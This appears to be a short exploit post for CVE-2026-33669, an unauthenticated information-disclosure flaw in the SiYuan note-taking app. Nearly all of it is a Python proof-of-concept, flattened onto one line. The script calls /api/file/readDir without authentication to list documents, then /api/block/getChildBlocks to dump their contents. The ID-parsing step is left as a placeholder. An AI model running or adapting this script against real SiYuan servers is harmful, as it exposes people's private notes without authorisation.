SiYuan思源笔记未授权信息泄露漏洞CVE-2026-33669

import requests import json target_url = "http://localhost:6806" # Step 1: Retrieve document IDs via /api/file/readDir # This endpoint is vulnerable and does not require authentication read_dir_api = f"{target_url}/api/file/readDir" payload = {"path": "/"} headers = {"Content-Type": "application/json"} try: print("[+] Attempting to retrieve document IDs...") response = requests.post(read_dir_api, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved directory structure:") print(json.dumps(data, indent=2)) # Check if we have data to proceed to step 2 # Note: Actual ID extraction logic depends on the specific JSON structure returned by SiYuan if 'data' in data: # Assuming IDs are present in the response, we simulate the extraction # For demonstration, we assume we found a block ID '202303...' # In a real scenario, parse the 'data' field recursively to find all IDs. document_ids = ["placeholder_id"] if document_ids: # Step 2: Retrieve content via /api/block/getChildBlocks get_block_api = f"{target_url}/api/block/getChildBlocks" for doc_id in document_ids: print(f"[+] Fetching content for ID: {doc_id}") block_payload = {"id": doc_id} block_resp = requests.post(get_block_api, json=block_payload, headers=headers) if block_resp.status_code == 200: print("[+] Content retrieved successfully:") print(block_resp.text) else: print(f"[-] Failed to retrieve content for ID: {doc_id}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")